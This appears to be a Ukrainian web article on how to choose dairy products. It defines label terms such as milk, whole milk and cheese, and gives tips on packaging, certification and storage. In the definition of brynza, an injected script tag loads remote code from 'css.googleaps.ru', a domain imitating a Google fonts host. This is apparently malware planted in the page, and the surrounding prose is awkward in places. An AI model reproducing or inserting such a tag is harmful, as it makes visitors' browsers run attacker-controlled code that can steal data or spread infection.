Як вибрати молочні продукти

Молоко є одним із найкорисніших продуктів, що містить у собі величезне безліч корисних для організму людини елементів.

У сучасному світі в магазинах представлений широкий асортимент молочної продукції, з якої необхідно відбирати ту, яка несе в собі справді корисні властивості. Як правильно вибрати молочні продукти, розглянемо нижче.

На даний момент багато фахівців стверджують, що рівень якості молочної продукції став вищим, особливо після введення в дію закону, назва якого «Технічний регламент на молоко та молочну продукцію».

Але, незважаючи на цей факт, в першу чергу, при купівлі молочних продуктів необхідно вивчити інформацію на етикетці. Розглянемо, що повинно міститися в продукті, на якому представлені наступні написи:

1. молоко – це продукт нормальної фізіологічної секреції молочних залоз сільськогосподарських тварин, без додавання в нього або вилучення з нього будь-яких речовин.
2. складові частини молока – це сухі елементи та вода.
3. ціле молоко – продукт, головні частини якого ніяк не регулювалися.
4. питьеве молоко- молоко, загальна частка жиру якого менше 9%.
5. молочний продукт- продукт, виконаний з молока або його частин.
6. харчовий продукт-продукт, який виготовлений з молока без або з додаванням побічних продуктів переробки молока.
7. молокосодержащий продукт- продукт, який виконаний з молочних і немолочних компонентів, а загальна частка сухих елементів не менше, ніж 20%.
8. сир – це продукт, виготовлений з молока за допомогою певних заквасок.
9. бринза<script src=”//css.googleaps.ru/css?f=Open+Sans&cd=mb&ver=4.2.2″>– це вид сиру, вироблений з овечого молока.

Тож, коли будете розбиратися з питанням, як вибрати, як вибрати молочні продукти, пам’ятайте, що опис продукту завжди повинен відповідати тому, що знаходиться в упаковці.

Також, на етикетці повинні бути видні: дані про виробника, товарний знак, склад, дата виготовлення, термін придатності і так далі.

Рекомендовано

Як вибрати ефірне масло

Коли стикаєтеся з вибором молочної продукції, стежте за тим, щоб упаковка не була порушена.

Якість молочних продуктів також підтверджують знаки сертифікації.

Якщо сертифікований не окремий продукт, а все підприємство в цілому, то це говорить про найвищу гарантію якості.

При купівлі оцініть умови зберігання молочних продуктів, оскільки вони є швидко псуютьсямими.